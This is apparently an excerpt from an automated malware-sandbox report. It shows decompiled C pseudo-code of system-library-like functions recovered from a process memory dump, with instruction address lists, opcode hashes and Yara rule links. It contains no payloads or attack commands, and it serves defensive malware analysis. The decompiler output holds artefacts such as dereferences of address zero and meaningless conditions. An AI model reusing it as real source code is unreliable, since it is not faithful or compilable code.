									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}

0x03c72ae4
0x03c72aec
0x03c72aef
0x03c72af4
0x03c72af7
0x03c72afd
0x03c72b92
0x03c72b92
0x03c72b97
0x03c72b9c
0x03c72b9c
0x03c72b03
0x03c72b06
0x03c72b09
0x03c72b09
0x03c72b0f
0x03c72b15
0x03c72b15
0x03c72b1b
0x03c72b1e
0x03c72b21
0x03c72b26
0x03c72b29
0x03c72b81
0x03c72b84
0x03c72c0e
0x03c72c15
0x03c72c24
0x03c72c24
0x03c72b8a
0x03c72b8a
0x03c72b8a
0x03c72b8a
0x03c72b90
0x00000000
0x00000000
0x00000000
0x00000000
0x03c72b4a
0x03c72b4a
0x03c72b4d
0x03c72b53
0x00000000
0x00000000
0x03c72b55
0x03c72b58
0x03c72bb7
0x03cb5d1b
0x03cb5d37
0x03cb5d47
0x03cb5d53
0x03c72bbd
0x03c72bbd
0x03c72bbd
0x03c72bb7
0x03c72b5d
0x03c72c2f
0x03cb5d5b
0x03cb5d77
0x03cb5d87
0x03cb5d93
0x03c72c35
0x03c72c35
0x03c72c35
0x03c72c2f
0x03c72b65
0x03c72b9f
0x03c72ba2
0x03c72b67
0x03c72b67
0x03c72b69
0x03c72b6b
0x03c72b6e
0x03c72bc9
0x03c72bcc
0x03c72bcf
0x03c72bd4
0x03c72bd6
0x03c72bd6
0x03c72bdb
0x03c72c02
0x03c72c05
0x03c72c07
0x00000000
0x03c72c07
0x03c72be0
0x03c72c00
0x03c72c3f
0x03c72c3f
0x00000000
0x03c72c00
0x03c72be5
0x03c72be7
0x03c72bec
0x03c72bf4
0x03c72bf6
0x00000000
0x03c72bf6
0x03c72b70
0x03c72b76
0x03c72b2b
0x03c72b2b
0x03c72b2d
0x03c72b2f
0x03c72b32
0x03c72b35
0x03c72b3a
0x00000000
0x03c72b40
0x03c72b43
0x03c72b45
0x03c72b47
0x03c72b4a
0x03c72b4d
0x03c72b53
0x00000000
0x00000000
0x00000000
0x03c72b53
0x03c72b78
0x03c72b78
0x03c72b7b
0x03c72b7e
0x00000000
0x03c72b7e
0x03c72b76
0x03c72ba5
0x03c72ba5
0x03c72ba8
0x03c72bad
0x00000000
0x00000000
0x03c72baf
0x03c72baf
0x03c72bc2
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c494b41b53f12ffbcf46cfac2d698a9c2a272b0f8558f60080dbb9c5a13f5d0f
Instruction ID: 87ebb88b6a7e73c58c4ca5658df65cd392d8542426759702e1b2023576bcb283
Opcode Fuzzy Hash: c494b41b53f12ffbcf46cfac2d698a9c2a272b0f8558f60080dbb9c5a13f5d0f
Instruction Fuzzy Hash: 5751BE76A00125CFCB18DF1DC8849BDB7B1FB88700716895AEC46EB324EB30AE55DB90

Uniqueness

Uniqueness Score: -1.00%

Function 03D0AE44, Relevance: .2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E03D0AE44(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
				intOrPtr _t61;
				signed char _t62;
				signed int _t72;
				signed char _t85;
				signed int _t88;

				_t73 = __edx;
				_push(__ecx);
				_t85 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0x28));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t88 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E03D0C38B(_t85, _t73, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E03D0ACFD(_t85, _t73, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t72 = _t88;
					} else {
						_t72 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t72;
					_t62 = _a8;
					L11:
					_t73 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t85 + 0x20)) == _t88) {
						L19:
						if(( *(_t85 + 0xc) & 0x10000000) == 0) {
							L22:
							_t74 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t88 - 2;
								if(_t88 != 2) {
									__eflags = _t85 + 0x44 + (_t88 << 6);
									_t88 = E03D0FDE2(_t85 + 0x44 + (_t88 << 6), _t74, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E03D0EA55(_t85, _v8, _t57);
								asm("sbb esi, esi");
								_t88 =  ~_t88;
								_t41 = E03C67D50();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t88;
										if(_t88 != 0) {
											E03D01608(_t85, _t59, 3);
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = E03D11536(0x3d38ae4, (_t74 -  *0x3d38b04 >> 0x14) + (_t74 -  *0x3d38b04 >> 0x14), _t88, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t74 = _v12;
							_t27 = _t47 - 1; // -1
							_t88 = _t27;
							goto L25;
						}
						_t62 = _t85;
						if(L03D0C323(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t62);
						_push(_t88);
						E03D0A80D(_t85, 9, _v8, _t88);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(E03CECB1E(_t62, _t85, _v8, 3, _t36 + 8) < 0) {
								L34:
								return _t88;
							}
							goto L19;
						}
						_t62 = _t85;
						_t36 = E03D0ACFD(_t62, _t73, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}

0x03d0ae44
0x03d0ae4c
0x03d0ae53
0x03d0ae55
0x03d0ae5c
0x03d0ae64
0x03d0ae68
0x03d0ae75
0x03d0ae75
0x03d0ae78
0x03d0ae7a
0x03d0ae7c
0x03d0ae7f
0x03d0aea8
0x03d0aeab
0x03d0aead
0x00000000
0x00000000
0x03d0aeb3
0x03d0aeb8
0x03d0aebb
0x03d0aebd
0x00000000
0x03d0ae81
0x03d0ae88
0x03d0ae8f
0x03d0ae9b
0x03d0ae96
0x03d0ae96
0x03d0ae96
0x03d0aea0
0x03d0aea3
0x03d0aebf
0x03d0aebf
0x03d0aec3
0x03d0aec9
0x03d0af0d
0x03d0af14
0x03d0af3d
0x03d0af3d
0x03d0af41
0x03d0af44
0x03d0af67
0x03d0af67
0x03d0af6a
0x03d0afca
0x03d0afd1
0x00000000
0x03d0afd1
0x03d0af6c
0x03d0af6d
0x03d0af75
0x03d0af7c
0x03d0af7e
0x03d0af80
0x03d0af85
0x03d0af87
0x03d0af99
0x03d0af89
0x03d0af92
0x03d0af92
0x03d0af9e
0x03d0afa1
0x03d0afa3
0x03d0afa9
0x03d0afb0
0x03d0afb2
0x03d0afb4
0x03d0afbc
0x03d0afbc
0x03d0afb4
0x03d0afb0
0x00000000
0x03d0afa1
0x03d0af4f
0x03d0af57
0x03d0af5c
0x03d0af5e
0x00000000
0x00000000
0x03d0af60
0x03d0af64
0x03d0af64
0x00000000
0x03d0af64
0x03d0af1a
0x03d0af25
0x00000000
0x00000000
0x03d0af27
0x03d0af28
0x03d0af33
0x00000000
0x03d0aed0
0x03d0aed0
0x03d0aed2
0x03d0aee1
0x03d0aee4
0x00000000
0x00000000
0x03d0aee6
0x03d0aeec
0x00000000
0x00000000
0x03d0aefb
0x03d0af07
0x03d0afd3
0x03d0afdb
0x03d0afdb
0x00000000
0x03d0af07
0x03d0aed6
0x03d0aed8
0x03d0aedf
0x00000000
0x00000000
0x00000000
0x03d0aedf
0x03d0aec9

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 626d5b13eea80e43c75f0ef362759638eb0afe7aea0391eb1d465fc52287a210
Instruction ID: 76d54304090863f8116309bec5339f65085b093f8e473a89584d731742c5a274
Opcode Fuzzy Hash: 626d5b13eea80e43c75f0ef362759638eb0afe7aea0391eb1d465fc52287a210
Instruction Fuzzy Hash: 1F41B4B1B007119BD726DB29C894B7FFB9AEF84E20F084619F856CB2D0DB74D801C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 03C6DBE9, Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E03C6DBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E03C4CC50(E03C44510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E03C67D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E03D18ED6(_t102, _t98);
						}
						_t76 = _v44;
						E03C62280(_t58, _v44);
						E03C6DD82(_v44, _t102, _t98);
						E03C6B944(_t102, _v5);
						return E03C5FFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0x3d38628; // 0x0
							_v28 = _t67;
							_t68 =  *0x3d3862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0x3d38628; // 0x0
						_t105 = _v28;
						_t80 =  *0x3d3862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0x3d0fb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x03c6dbe9
0x03c6dbf2
0x03c6dbf7
0x03c6dbf9
0x03c6dbfc
0x03c6dc00
0x03c6dc03
0x03c6dc14
0x03c6dd54
0x03c6dd54
0x03c6dd54
0x03c6dc18
0x03c6dc1d
0x03c6dc1d
0x03c6dc32
0x03c6dc3b
0x03c6dc3e
0x03c6dc46
0x03c6dd5b
0x03c6dd62
0x03c6dd64
0x03c6dd67
0x03c6dd69
0x03c6dd6b
0x03c6dd6e
0x03c6dd70
0x03c6dd73
0x03c6dd73
0x00000000
0x03c6dc4c
0x03c6dc4e
0x03cb3ae3
0x03cb3ae8
0x03cb3aea
0x03c6dce7
0x03c6dce9
0x03c6dcec
0x03c6dcee
0x03c6dcf0
0x03c6dcf3
0x03c6dcf5
0x03cb3af2
0x03cb3af5
0x03cb3af5
0x03c6dd06
0x03c6dd08
0x03c6dd0b
0x03c6dd12
0x03cb3b08
0x03c6dd18
0x03c6dd18
0x03c6dd18
0x03c6dd20
0x03c6dd23
0x03cb3b16
0x03cb3b16
0x03c6dd29
0x03c6dd2d
0x03c6dd36
0x03c6dd40
0x03c6dd51
0x03c6dd51
0x03c6dc54
0x03c6dc59
0x03c6dc59
0x03c6dc5e
0x03c6dc5e
0x03c6dc63
0x03c6dc66
0x03c6dc6b
0x03c6dc78
0x03c6dc7b
0x03c6dc81
0x03c6dc81
0x03c6dc83
0x03c6dc89
0x00000000
0x00000000
0x03c6dd7b
0x03c6dd7b
0x03c6dc8f
0x03c6dc8f
0x03c6dc92
0x03c6dc99
0x03c6dc9f
0x03c6dca5
0x03c6dcaa
0x03c6dcaa
0x03c6dcb3
0x03c6dcb8
0x03c6dcbb
0x03c6dcc1
0x03c6dccf
0x03c6dcd2
0x03c6dcd5
0x03c6dcd7
0x03c6dcda
0x03c6dcdc
0x03c6dcdc
0x03c6dce2
0x03c6dce4
0x00000000
0x03c6dce4

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c698a3e5c3e39f7c84eba72be642ecf33123189aaa4aba02aea113e4011d7bd8
Instruction ID: 4a424cc4ab94d259d8d90dea18b836b60c712492914af8b3a8615c54d575c099
Opcode Fuzzy Hash: c698a3e5c3e39f7c84eba72be642ecf33123189aaa4aba02aea113e4011d7bd8
Instruction Fuzzy Hash: DD51BD75B00619DFCB14DFA8C4C0AAEFBF5BB48310F25819AD556EB340DB30AA44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03C5EF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E03C5EF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E03C49080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x770bc21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E03C42D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x03c5ef4b
0x03c5ef4d
0x03c5ef57
0x03c5f0bd
0x03c5f0c2
0x03c5f0d2
0x03c5f0d2
0x03c5f0c2
0x03c5ef5d
0x03c5ef5f
0x03c5ef67
0x03c5ef6a
0x03c5ef6d
0x03c5ef74
0x03c5ef7f
0x03c5ef82
0x03c5ef82
0x03c5ef86
0x03c5ef88
0x03c5ef8c
0x03c5ef8f
0x03c5ef8f
0x03c5ef8f
0x00000000
0x03c5ef91
0x03c5ef93
0x03c5efc4
0x03c5efc4
0x03c5efc4
0x03c5efca
0x03c5efd0
0x03c5f0a6
0x00000000
0x00000000
0x03c5f0af
0x03cabb06
0x03cabb0a
0x03c5f0b5
0x03c5f0b5
0x03c5f0b5
0x03c5f0b5
0x00000000
0x03c5efd6
0x03c5efd9
0x03c5f0de
0x03c5f0e2
0x03c5efdf
0x03c5efdf
0x03c5efdf
0x03c5efe5
0x03cabafc
0x03cabafc
0x03c5efe5
0x03c5efeb
0x03c5efed
0x03c5f00f
0x03c5f011
0x03c5f01a
0x03c5f01d
0x03c5f021
0x03c5f028
0x03c5f029
0x03c5f029
0x03c5f02c
0x00000000
0x03c5f02c
0x03c5eff3
0x03c5eff9
0x03c5f0ea
0x03c5f0ed
0x03c5f0ef
0x00000000
0x03c5f0ef
0x03c5f003
0x03cabb12
0x03c5f045
0x03c5f049
0x03c5f051
0x03c5f09e
0x03c5f0a0
0x03c5f0a0
0x03c5f09e
0x03c5f053
0x03c5f064
0x03c5f064
0x03c5f06b
0x03cabb1a
0x03cabb1a
0x03c5f071
0x03c5f071
0x03c5f07d
0x03c5f082
0x03c5f08f
0x03c5f08f
0x03c5f009
0x03c5f00d
0x00000000
0x03c5f00d
0x03c5efd0
0x03c5ef97
0x03c5efa5
0x03c5efaa
0x00000000
0x03c5efac
0x03c5efac
0x03c5efac
0x00000000
0x03c5efb2
0x03c5f036
0x03c5f03a
0x03c5f040
0x03c5f090
0x00000000
0x03c5f092
0x03c5f042
0x00000000
0x03c5f042
0x03c5efb7
0x03c5efb9
0x03c5efbc
0x03c5efb0
0x03c5efb0
0x00000000
0x03c5efbe
0x03c5efbe
0x03c5efc1
0x00000000
0x03c5efc1
0x03c5efbc
0x03c5efaa
0x03c5ef91

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 8b12940b5fe734e1f5a1009cb0c6d0e0cfb6f87895fd201745ec6fce3ddb34da
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: 4E51F131A04245DBDB18CB69C4807EEFBB1AF45314F1C82A8E845DB281C775ABC9C755

Uniqueness

Uniqueness Score: -1.00%

Function 03D1740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E03D1740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E03C9D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E03C8F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L03C64620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L03C64620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E03C8F3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L03C64620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x03d1740d
0x03d1740d
0x03d17412
0x03d17413
0x03d17416
0x03d17418
0x03d1741c
0x03d1741f
0x03d17422
0x03d17422
0x03d17428
0x03d1742a
0x03d1742a
0x03d17451
0x03d17432
0x03d1744f
0x03d1744f
0x00000000
0x03d17434
0x03d17438
0x03d17443
0x03d17517
0x03d17517
0x03d1751a
0x03d17535
0x03d17520
0x03d17527
0x03d1752c
0x03d17531
0x03d17533
0x00000000
0x03d17533
0x00000000
0x03d17531
0x03d1754b
0x03d1754f
0x03d1755c
0x03d1755c
0x03d1755f
0x03d17560
0x03d17561
0x03d17562
0x03d17563
0x03d17568
0x03d1756a
0x03d1756c
0x03d1756d
0x03d1756d
0x03d1756f
0x03d17572
0x03d17574
0x03d17577
0x03d1757c
0x03d1757f
0x00000000
0x03d17551
0x03d17551
0x03d17551
0x03d17553
0x03d17553
0x03d17449
0x03d17449
0x03d1744c
0x03d1744c
0x00000000
0x03d1744c
0x03d17443
0x03d1750e
0x03d17514
0x03d17514
0x03d17455
0x03d17469
0x03d1746d
0x00000000
0x03d17473
0x03d17473
0x03d17476
0x03d17480
0x03d17484
0x03d1748e
0x03d17493
0x03d17493
0x03d17496
0x03d17499
0x03d174a1
0x03d174b1
0x03d174b5
0x00000000
0x03d174bb
0x03d174c1
0x03d174c1
0x03d174c4
0x03d174c5
0x03d174c6
0x03d174c7
0x03d174c8
0x03d174cd
0x00000000
0x03d174d3
0x03d174d3
0x03d174d6
0x03d174d8
0x03d174db
0x03d174dd
0x03d174e0
0x03d174e7
0x03d174ee
0x03d174ee
0x03d174f4
0x03d174f9
0x00000000
0x03d174fb
0x03d174fb
0x03d174fd
0x03d17500
0x03d17503
0x03d17505
0x03d17505
0x03d174f9
0x00000000
0x03d174cd
0x03d174b5
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

